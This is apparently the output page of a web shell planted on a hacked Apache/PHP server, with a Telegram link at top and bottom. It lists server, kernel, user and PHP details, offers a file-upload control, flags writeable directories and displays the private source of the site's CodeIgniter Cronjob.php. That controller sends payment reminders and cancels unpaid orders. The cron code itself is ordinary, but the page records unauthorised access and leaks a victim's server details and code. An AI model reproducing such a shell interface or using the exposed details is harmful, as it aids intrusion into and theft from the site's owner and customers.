https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/mesinpolesshinemate.com/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/mesinpolesshinemate.com/application/controllers/Cronjob.php
<?php defined('BASEPATH') OR exit('No direct script access allowed');

class Cronjob extends MX_Controller {

	public function __construct() {
		parent::__construct();
		$this->load->model('order_m');  
		$this->load->model('order_detail_m'); 
		$this->load->model('configuration_m');  
		$this->load->model('customer_m');  
	}

	public function payment_reminder() {

		//get current date
		$current_date = strtotime(date('Y-m-d H:i:s')); //get the string of current date

		//get all orders from database
		$this->db->select('id_orders, customer_id, order_date')->from('orders')->where('payment_status', 0)->where('payment_confirm', 0);
		$current_orders = $this->db->get()->result();

		foreach ($current_orders as $order) {

			//check if the time already pass 12 hours...
			// Getting the value of old date + 12 hours, 43200 seconds == 12 hrs
			$reminder_date = strtotime($order->order_date) + 43200;

			if ($reminder_date < $current_date) {
				//means that order date has exceed 12 hours, and must be reminded for payment
				//----SEND EMAIL TO CUSTOMER 
				//get order detail and customer detail
				$data['order'] = $this->order_m->get_order($order->id_orders);  
				$data['customer'] = $this->customer_m->get_customer($data['order']->customer_id);

				//get website data
				$this->db->select('logo, from_email, website_name, email_smtp_host, email_smtp_port, email_smtp_password, email_smtp, bank')->from('configuration')->where('id_configuration', 1);
				$website_data = $this->db->get()->row();
				$data['logo'] = $website_data->logo;
				$data['website_name'] = $website_data->website_name;
				$data['bank'] = $website_data->bank;

				$data['emails'] = $this->configuration_m->get_emails(); 
				$data['title'] = 'Payment Reminder'; 

				$this->load->library('email');
				//get email setting 
				$config['protocol'] = 'smtp';
				$config['smtp_host'] = $website_data->email_smtp_host; 
				$config['smtp_port'] = $website_data->email_smtp_port;
				$config['smtp_user'] = $website_data->email_smtp; 
				$config['smtp_pass'] = $website_data->email_smtp_password;
				$config['mailtype'] = 'html';
				$config['charset'] = 'iso-8859-1';
				$config['wordwrap'] = TRUE;
				$config['newline'] = "\r\n"; //use double quotes to comply with RFC 822 standard 
				$this->email->initialize($config);
				$this->email->from($data['emails']->from_email, $data['emails']->website_name);
				$this->email->to($data['customer']->email); 
				$this->email->subject('Payment Reminder'); 
				$email = $this->load->view('email/payment_reminder', $data, TRUE);   
				$this->email->message($email);	    
				$this->email->send();  
				//----end send email 
			}

		}
	}

	public function cancel_order_daily() { 

		//get current date
		$current_date = strtotime(date('Y-m-d H:i:s')); //get the string of current date

		//get all orders from database
		$this->db->select('id_orders, customer_id, order_date')->from('orders')->where('payment_status', 0)->where('payment_confirm', 0);
		$current_orders = $this->db->get()->result();

		foreach ($current_orders as $order) {
			
			//check if the time already pass 24 hours...
			// Getting the value of old date + 24 hours, 86400 seconds == 24 hrs
			$expired_date = strtotime($order->order_date) + 86400;

			if ($expired_date < $current_date) {

				//means that order date has exceed 24 hours, and must be cancelled
				$data = array( 
					'payment_status' => 2,
					'cancel_date' => date('Y-m-d H:i:s')
				);
				$this->db->where('id_orders', $order->id_orders);
				$this->db->update('orders', $data);

				//return the quantity back to stock
				//get order details
				$order_details =  $this->order_detail_m->get_orders_detail($order->id_orders);

				foreach ($order_details as $item) {

					//get current stock
					$this->db->select('stock')->from('product_details')->where('product_id', $item->item_id)->where('sku', $item->sku);
					$current_stock = $this->db->get()->row()->stock;
					
					$data = array(
						'stock' => $current_stock + $item->quantity,
					);
					$this->db->where('product_id', $item->item_id);
					$this->db->where('sku', $item->sku);
					$this->db->update('product_details', $data);
				}

				//return customer point reward back to customers table..
				//get customer_id
				$this->db->select('customer_id')->from('orders')->where('id_orders', $order->id_orders);
				$customer_id = (int) $this->db->get()->row()->customer_id;

				//get customer current point
				$this->db->select('current_pointreward')->from('customers')->where('id_customers', $customer_id);
				$current_point = (int) $this->db->get()->row()->current_pointreward;

				//get minus point from order
				$this->db->select('minus_reward')->from('orders')->where('id_orders', $order->id_orders);
				$rewards = $this->db->get()->row();
				$minus_point = (int) $rewards->minus_reward;

				$updated_point = $current_point + $minus_point;

				//update point reward
				$data = array(
					'current_pointreward' => $updated_point
				);
				$this->db->where('id_customers', $customer_id);
				$this->db->update('customers', $data);

				//----SEND EMAIL TO CUSTOMER 
				//get order detail and customer detail
				$data['order'] = $this->order_m->get_order($order->id_orders);  
				$data['customer'] = $this->customer_m->get_customer($data['order']->customer_id);
				$data['minus_point'] = $minus_point;

				//get website data
				$this->db->select('logo, from_email, website_name, email_smtp_host, email_smtp_port, email_smtp_password, email_smtp')->from('configuration')->where('id_configuration', 1);
				$website_data = $this->db->get()->row();
				$data['logo'] = $website_data->logo;
				$data['website_name'] = $website_data->website_name;

				$data['emails'] = $this->configuration_m->get_emails(); 
				$data['title'] = 'Order Cancel'; 

				$this->load->library('email');
				//get email setting 
				$config['protocol'] = 'smtp';
				$config['smtp_host'] = $website_data->email_smtp_host; 
				$config['smtp_port'] = $website_data->email_smtp_port;
				$config['smtp_user'] = $website_data->email_smtp; 
				$config['smtp_pass'] = $website_data->email_smtp_password;
				$config['mailtype'] = 'html';
				$config['charset'] = 'iso-8859-1';
				$config['wordwrap'] = TRUE;
				$config['newline'] = "\r\n"; //use double quotes to comply with RFC 822 standard 
				$this->email->initialize($config);
				$this->email->from($data['emails']->from_email, $data['emails']->website_name);
				$this->email->to($data['customer']->email); 
				$this->email->subject('Order Cancel'); 
				$email = $this->load->view('email/order_cancel', $data, TRUE);   
				$this->email->message($email);	    
				$this->email->send();  
				//----end send email 
			
			} //if ($order_date > $current_date)... 

		} //end foreach ($current_orders as $order)...
		
	}

	


}

https://t.me/RX1948 - 2025